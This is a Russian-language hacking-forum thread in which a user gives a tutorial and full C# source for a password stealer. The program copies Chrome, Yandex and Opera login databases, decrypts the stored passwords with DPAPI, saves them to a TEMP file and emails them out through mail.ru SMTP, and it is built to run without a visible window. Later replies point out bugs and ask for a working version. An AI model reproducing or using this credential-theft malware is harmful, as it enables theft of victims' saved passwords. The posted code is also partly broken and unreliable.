• VLMI - форум по обмену информацией. На форуме можете найти способы заработка, разнообразную информацию по интернет-безопасности, обмен знаниями, курсы/сливы.

    После регистрации будут доступны основные разделы.

    Контент форума создают пользователи, администрация за действия пользователей не несёт ответственности, отказ от ответственности. Так же перед использованием форума необходимо ознакомиться с правилами ресурса. Продолжая использовать ресурс вы соглашаетесь с правилами.
  • Подпишись на наш канал в Telegram для информации о актуальных зеркалах форума: https://t.me/vlmiclub

Stealer паролей на C#

21Виталик

Участник
Сообщения
3
Реакции
2
0 руб.
Доброго времени суток! Сегодня я вам расскажу как написать свой стиллер паролей на C#. Начнем!

Как работает наш стиллер?
  • Сначала стиллер проверяет наличие браузерных папок.
  • Если файл содержащий пароли существует, идёт проверка на их содержание.
  • Если данные не пусты, стиллер добавляет их в текстовой файл.
  • После того, как стиллер закончил проверку, он отправляет данные прямо к нам в руки.
Приступим!
Для начала создаём проект в Visual Studio. Версия фреймворка - 4.5.
22257

Program.cs
Добавим необходимые юзинги:

using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Net.Mail;
using System.Text;
using System.Threading.Tasks;
22256


Для начала мы создадим папку где будет лежать файл с паролем:
C#:
Directory.CreateDirectory(Path.GetTempPath() + "StealLog");

Папка будет создана в каталоге TEMP.

Создадим переменную paths в которой хранятся пути к файлам Login Data (Файлы Login Data содержат пароли):
C#:
string[] paths = {
Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Login Data",
Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Yandex\YandexBrowser\User Data\Default\Login Data",
Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Opera Software\Opera Stable\Login Data"
};


Теперь создаём переменную pwd_text которая пока что ничему не равна:

C#:
string pwd_text = "";

Добавим в код следующие, объяснение кода в комментариях:

C#:
foreach (string p in paths)  //идем по папкам 
           { 
               var pas = Passwords.ReadPass(p); 
               if (File.Exists(p))                  // если файл с паролями существует, то выполняем следующие действия 
               { 
                   pwd_text += "Stealer by: @deepside\r\n\r\n"; 
                   foreach (var item in pas) 
                   { 
                       if ((item.Item2.Length > 0) && (item.Item2.Length > 0))     // если значения логина и пароля не пустые, то заносим их в переменную 
                       { 
                           pwd_text += "URL: " + item.Item1 + "\r\n" + "Login: " + item.Item2 + "\r\n" + "Password: " + item.Item3 + "\r\n"; 
                           pwd_text += " \r\n"; 
                       } 
                   } 
               } 
           }


Делаем проверку, если файл Login Data находится в нашей папке, то удаляем его.

Код:
if (File.Exists(Path.GetTempPath() + @"StealLog
\Login Data"))
           {
            File.Delete(Path.GetTempPath() + @"StealLog
\Login Data");
           }

Запишем все пароли в .txt файл:

C#:
File.WriteAllText(Path.GetTempPath() + @"StealLog
\Passwords.txt", pwd_text);
22248

Passwords.cs
Создаём новый класс с именем Passwords.cs.

Добавляем туда этот код, объяснение в комментариях:

C#:
static public IEnumerable<Tuple<string, string, string>> ReadPass(string dbPath)
       {
           if (File.Exists(Path.GetTempPath() + @"StealLog
\Login Data"))   // Если файл по данному пути существует, то удаляем его
           {
               File.Delete(Path.GetTempPath() + @"StealLog
\Login Data");
           }
           File.Copy(dbPath, Path.GetTempPath() + @"StealLog
\Login Data");     // копируем файл с паролями для того, чтобы не закрывать браузер
           dbPath = Path.GetTempPath() + @"StealLog
\Login Data";
           var connectionString = "Data Source=" + dbPath + ";pooling=false";
           using (var conn = new System.Data.SQLite.SQLiteConnection(connectionString))
           using (var cmd = conn.CreateCommand())
           {
               cmd.CommandText = "SELECT password_value,username_value,origin_url FROM logins";
               conn.Open();
               using (var reader = cmd.ExecuteReader())
               {
                   while (reader.Read())
                   {
                       var encryptedData = (byte[])reader[0];
                       var decodedData = System.Security.Cryptography.ProtectedData.Unprotect(encryptedData, null, System.Security.Cryptography.DataProtectionScope.CurrentUser);  // расшифровка паролей
                       var plainText = Encoding.ASCII.GetString(decodedData);
                       yield return Tuple.Create(reader.GetString(2), reader.GetString(1), plainText);
                   }
               }
               conn.Close();
           }
       }
Если появились ошибки, исправляем их, добавим ссылку:

Проект - Добавить ссылку. Ищем System.Security
22249



Для работы с Login Data установим библиотеку:

Проект - Управление пакетами Nuget. Ищем в поискe "sqlite" и устанавливаем пакет
22250

Теперь нам нужно отправить файл с паролями. Возвращаемся к Program.cs и добавляем следующий код:
C#:
SmtpClient Smtp = new SmtpClient("smtp.mail.ru", 587); // Создаём Smpt соединения с почтой mail.tu

Smtp.Credentials = new NetworkCredential("почта@mail.ru", "пароль"); // Меняем на своё, можно создать левую почту.

Smtp.EnableSsl = true;
MailMessage Message = new MailMessage();
Message.From = new MailAddress("почта@mail.ru"); // Кому отправляем
Message.To.Add("почта@mail.ru");
Message.Subject = "Log | @vilmi.su"; // Заголовок письма
Message.Body = "Stealer by VLIMI"; // Текст письма
(new Attachment(Path.GetTempPath() + @"RebornExodus\Passwords.txt")); // Добавляем вложение с логом
Smtp.Send(Message); // Отправляем

22253

Формат письма:
22252

Формат лога:
22254

Лог приходит значит мы на верном пути. Теперь нам нужно кое что исправить. Наверное ты заметил, что при запуске стиллера выводится консоль. Как это исправить?

Заходим в свойства проекта, далее делаем как на скрине:
22255

Выбираем "Приложение Windows". Теперь консоль не открывается и стиллер запускается скрытно.

Спасибо.
 

Вложения

  • 2.png
    2.png
    9,5 KB · Просмотры: 384

3xpl01t

Местный
Сообщения
34
Реакции
73
0 руб.
Telegram

HTRBen

Участник
Сообщения
40
Реакции
34
0 руб.
Telegram
Jabber
Please note, if you want to make a deal with this user, that it is blocked.
Скопипастил бы ка следует, просто сравнивая код уже нашел несколько несоответствий.
 

HTRBen

Участник
Сообщения
40
Реакции
34
0 руб.
Telegram
Jabber
Please note, if you want to make a deal with this user, that it is blocked.
Добрый день. Visual Studio не показывает ошибок, укажите конкретнее!
Ясно, код ты не смог скомпилить, да скорее всего даже не пытался.
Указывать на твои ошибки я не собираюсь, рас уж скопипастил, то давай не просто копипасть а исправляй ошибки в коде.
Автор оригинала сам оставил явные 3 ошибки, и мне так кажется он это намеренно, так что ТС давай решай проблему, тема твоя не работает, отнесись серьезнее и рас уж выложил то давай исправляй все.
 

21Виталик

Участник
Сообщения
3
Реакции
2
0 руб.
Ясно, код ты не смог скомпилить, да скорее всего даже не пытался.
Указывать на твои ошибки я не собираюсь, рас уж скопипастил, то давай не просто копипасть а исправляй ошибки в коде.
Автор оригинала сам оставил явные 3 ошибки, и мне так кажется он это намеренно, так что ТС давай решай проблему, тема твоя не работает, отнесись серьезнее и рас уж выложил то давай исправляй все.

Добрый день. Благодарю Вас за выявленные ошибки. Ниже код без пояснений.

Program.cs

C#:
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Net.Mail;
using System.Text;
using System.Threading.Tasks;

namespace Stealer
{
    class Program
    {
        static void Main(string[] args)
        {
            ///создаем папку где будет лежать файл с паролем (Папка будет создана в каталоге TEMP.)
            Directory.CreateDirectory(Path.GetTempPath() + "StealLog");
            ///Создадим переменную paths в которой хранятся пути к файлам Login Data (Файлы Login Data содержат пароли):
            string[] paths =
            {
                Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Login Data",
                Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Yandex\YandexBrowser\User Data\Default\Login Data",
                Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Opera Software\Opera Stable\Login Data"
            };
            ///создаём переменную pwd_text
            string pwd_text = "";

            foreach (string p in paths)   //идем по папкам
            {
                var pas = Passwords.ReadPass(p);
                if (File.Exists(p))                   // если файл с паролями существует, то выполняем следующие действия
                {
                    pwd_text += "Reborn Exodus Stealer buy: @exploit_dar\r\n\r\n";

                    foreach (var item in pas)
                    {
                        if ((item.Item2.Length > 0) && (item.Item2.Length > 0))      // если значения логина и пароля не пустые, то заносим их в переменную
                        {

                            pwd_text += "URL: " + item.Item1 + "\r\n" + "Login: " + item.Item2 + "\r\n" + "Password: " + item.Item3 + "\r\n";
                            pwd_text += " \r\n";
                        }
                    }
                }
                ////Делаем проверку, если файл Login Data находится в нашей папке, то удаляем его.
                if (File.Exists(Path.GetTempPath() + @"StealLog\Login Data"))
                {
                    File.Delete(Path.GetTempPath() + @"StealLog\Login Data");
                }

                ///Запишем все пароли в .txt файл:
                File.WriteAllText(Path.GetTempPath() + @"StealLog\Passwords.txt", pwd_text); // записываем пароли в файл
                
                ///отправить файл с паролями
                SmtpClient Smtp = new SmtpClient("smtp.mail.ru", 587); // Создаём Smpt соединения с почтой mail.tu

                Smtp.Credentials = new NetworkCredential("почта@mail.ru", "Password"); // Меняем на своё, можно создать левую почту.

                Smtp.EnableSsl = true;
                MailMessage Message = new MailMessage();
                Message.From = new MailAddress("почта@mail.ru"); // Кому отправляем
                Message.To.Add("почта@mail.ru");
                Message.Subject = "Log | @vilmi.su"; // Заголовок письма
                Message.Body = "Stealer by VLIMI"; // Текст письма
                Message.Attachments.Add(new Attachment(Path.GetTempPath() + @"RebornExodus\Passwords.txt")); // Добавляем вложение с логом
                Smtp.Send(Message); // Отправляем
            }
        }
    }
}

Program.cs

C#:
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace Stealer
{
    class Passwords
    {
        static public IEnumerable<Tuple<string, string, string>> ReadPass(string dbPath)
        {
            if (File.Exists(Path.GetTempPath() + @"StealLog\Login Data"))    // Если файл по данному пути существует, то удаляем его
            {
                File.Delete(Path.GetTempPath() + @"StealLog\Login Data");
            }
            File.Copy(dbPath, Path.GetTempPath() + @"StealLog\Login Data");      // копируем файл с паролями для того, чтобы не закрывать браузер
            dbPath = Path.GetTempPath() + @"StealLog\Login Data";
            var connectionString = "Data Source=" + dbPath + ";pooling=false";
            using (var conn = new System.Data.SQLite.SQLiteConnection(connectionString))
            using (var cmd = conn.CreateCommand())
            {


                cmd.CommandText = "SELECT password_value,username_value,origin_url FROM logins";

                conn.Open();
                using (var reader = cmd.ExecuteReader())
                {
                    while (reader.Read())
                    {
                        var encryptedData = (byte[])reader[0];

                        var decodedData = System.Security.Cryptography.ProtectedData.Unprotect(encryptedData, null, System.Security.Cryptography.DataProtectionScope.CurrentUser);   // расшифровка паролей
                        var plainText = Encoding.ASCII.GetString(decodedData);

                        yield return Tuple.Create(reader.GetString(2), reader.GetString(1), plainText);

                    }

                }
                conn.Close();
            }
        }
    }
}

Спасибо.
 

HTRBen

Участник
Сообщения
40
Реакции
34
0 руб.
Telegram
Jabber
Please note, if you want to make a deal with this user, that it is blocked.
Ой ой ой, я до сих пор ждал и так и по ходу не дождусь, ТС вообще не шарит в коде, даже просто копипастить нормально не сумел...
Подсказываю.
Вот так выглядит часть кода, комментарий к которому вообще не к месту.
C#:
Message.From = new MailAddress("почта@mail.ru"); // Кому отправляем
Message.To.Add("почта@mail.ru");

А вот таким он должен быть
C#:
Message.From = new MailAddress("почта@mail.ru");
Message.To.Add("почта@mail.ru"); // Кому отправляем

Теперь объясняю что не так.
Вот этот комментарий ссылает в заблуждение, так как строка
C#:
Message.From = new MailAddress("почта@mail.ru");
отвечает за то, С какой почты будут ссылаться письма, а вот строка
C#:
Message.To.Add("почта@mail.ru"); // Кому отправляем
уже КОМУ будет отправлено письмо.
Само выражение "Message.To.Add" уже говорит об этом.

И вот это уже указывает на то, что ТС просто тупо копипастит, сам вообще не черта не понимая.
+
C#:
SmtpClient Smtp = new SmtpClient("smtp.mail.ru", 587); // Создаём Smpt соединения с почтой mail.tu
я что-то не помню, чтобы мейл ру менял свой домен на ту, но хуй с ним с комментом...

И это еще не все, в коде есть ещё куча недороботок, к примеру указаны юзинги которые вообще не используется, ресурсы не указаны, длл-ки не воткнуты в сам файл и ещё пара вещей, о которых я и говорить не стану, это обязанность ТС -а за своим кодом следить.

В конечном итоге выйдет так, что если даже и избавиться от тех пары недороботок, о которых говорить не стал, код скомпилиться, НО стиллер не будет работать, просто потому, что он не сможет письма отсылать на почту, не сможет отсылать значит стиллер не пашет.

И это я ещё не говорю о том, что на выходе получается не только exe но и куча длл-ок и конфигов и если попытаться вынуть exe из папки (т.е. отделить от длл-ок) он просто на просто не сработает, даже если до этого он работал, просто потому, что ему нужно для начало подгружать сами длл-ки а потом уже и стилить, не сможет подгрузить и запускаться на станет.

ИТОГ - стиллер в таком виде не работает!!!

Рабочий код есть но я его выкладывать не собираюсь, пусть ТС для начало откорректирует весь свой код, а не выкладывает говнокод и типо ебитесь как хотите.
 

astap80

Новичок
Сообщения
5
Реакции
0
0 руб.
Может у кого ссылочка на рабочий C# стиллер есть. или добрый человек разбирающимся в этом коде поможет с исправлением.
 

astap80

Новичок
Сообщения
5
Реакции
0
0 руб.
Вроде все выше просмотрел. Пользователь выше кто разобрался с кодом заблокирован. У ссылок представленных такое же содержание. Сам недавно начал интересоваться C#, но этот код пока не осилю))
 

crypt0n

Новичок
Сообщения
1
Реакции
0
0 руб.
Бля пишет имя "Passwords" не существует в текущем контексте это только единственная ошибка
 

Mike5360

Участник
Сообщения
19
Реакции
16
0 руб.
Ой ой ой, я до сих пор ждал и так и по ходу не дождусь, ТС вообще не шарит в коде, даже просто копипастить нормально не сумел...
Подсказываю.
Вот так выглядит часть кода, комментарий к которому вообще не к месту.
C#:
Message.From = new MailAddress("почта@mail.ru"); // Кому отправляем
Message.To.Add("почта@mail.ru");

А вот таким он должен быть
C#:
Message.From = new MailAddress("почта@mail.ru");
Message.To.Add("почта@mail.ru"); // Кому отправляем

Теперь объясняю что не так.
Вот этот комментарий ссылает в заблуждение, так как строка
C#:
Message.From = new MailAddress("почта@mail.ru");
отвечает за то, С какой почты будут ссылаться письма, а вот строка
C#:
Message.To.Add("почта@mail.ru"); // Кому отправляем
уже КОМУ будет отправлено письмо.
Само выражение "Message.To.Add" уже говорит об этом.

И вот это уже указывает на то, что ТС просто тупо копипастит, сам вообще не черта не понимая.
+
C#:
SmtpClient Smtp = new SmtpClient("smtp.mail.ru", 587); // Создаём Smpt соединения с почтой mail.tu
я что-то не помню, чтобы мейл ру менял свой домен на ту, но хуй с ним с комментом...

И это еще не все, в коде есть ещё куча недороботок, к примеру указаны юзинги которые вообще не используется, ресурсы не указаны, длл-ки не воткнуты в сам файл и ещё пара вещей, о которых я и говорить не стану, это обязанность ТС -а за своим кодом следить.

В конечном итоге выйдет так, что если даже и избавиться от тех пары недороботок, о которых говорить не стал, код скомпилиться, НО стиллер не будет работать, просто потому, что он не сможет письма отсылать на почту, не сможет отсылать значит стиллер не пашет.

И это я ещё не говорю о том, что на выходе получается не только exe но и куча длл-ок и конфигов и если попытаться вынуть exe из папки (т.е. отделить от длл-ок) он просто на просто не сработает, даже если до этого он работал, просто потому, что ему нужно для начало подгружать сами длл-ки а потом уже и стилить, не сможет подгрузить и запускаться на станет.

ИТОГ - стиллер в таком виде не работает!!!

Рабочий код есть но я его выкладывать не собираюсь, пусть ТС для начало откорректирует весь свой код, а не выкладывает говнокод и типо ебитесь как хотите.
Как с тобой с
Ой ой ой, я до сих пор ждал и так и по ходу не дождусь, ТС вообще не шарит в коде, даже просто копипастить нормально не сумел...
Подсказываю.
Вот так выглядит часть кода, комментарий к которому вообще не к месту.
C#:
Message.From = new MailAddress("почта@mail.ru"); // Кому отправляем
Message.To.Add("почта@mail.ru");

А вот таким он должен быть
C#:
Message.From = new MailAddress("почта@mail.ru");
Message.To.Add("почта@mail.ru"); // Кому отправляем

Теперь объясняю что не так.
Вот этот комментарий ссылает в заблуждение, так как строка
C#:
Message.From = new MailAddress("почта@mail.ru");
отвечает за то, С какой почты будут ссылаться письма, а вот строка
C#:
Message.To.Add("почта@mail.ru"); // Кому отправляем
уже КОМУ будет отправлено письмо.
Само выражение "Message.To.Add" уже говорит об этом.

И вот это уже указывает на то, что ТС просто тупо копипастит, сам вообще не черта не понимая.
+
C#:
SmtpClient Smtp = new SmtpClient("smtp.mail.ru", 587); // Создаём Smpt соединения с почтой mail.tu
я что-то не помню, чтобы мейл ру менял свой домен на ту, но хуй с ним с комментом...

И это еще не все, в коде есть ещё куча недороботок, к примеру указаны юзинги которые вообще не используется, ресурсы не указаны, длл-ки не воткнуты в сам файл и ещё пара вещей, о которых я и говорить не стану, это обязанность ТС -а за своим кодом следить.

В конечном итоге выйдет так, что если даже и избавиться от тех пары недороботок, о которых говорить не стал, код скомпилиться, НО стиллер не будет работать, просто потому, что он не сможет письма отсылать на почту, не сможет отсылать значит стиллер не пашет.

И это я ещё не говорю о том, что на выходе получается не только exe но и куча длл-ок и конфигов и если попытаться вынуть exe из папки (т.е. отделить от длл-ок) он просто на просто не сработает, даже если до этого он работал, просто потому, что ему нужно для начало подгружать сами длл-ки а потом уже и стилить, не сможет подгрузить и запускаться на станет.

ИТОГ - стиллер в таком виде не работает!!!

Рабочий код есть но я его выкладывать не собираюсь, пусть ТС для начало откорректирует весь свой код, а не выкладывает говнокод и типо ебитесь как хотите.
как с тобой связаться?
 

undef

Новичок
Сообщения
1
Реакции
0
0 руб.
Telegram
Во время сборки ругаеться что в метод (System.Security.Cryptography.ProtectedData.Unprotect) передаються неправелные параметры, в чем причина?
 

kurortnik

Новичок
Сообщения
1
Реакции
0
0 руб.
Telegram
Ты либо кодер говно, либо чисто по рофлу эту х-ету закинул, тебе за такой стиллер разве что цыгане верхний ряд зубов выбьют
 
Сверху Снизу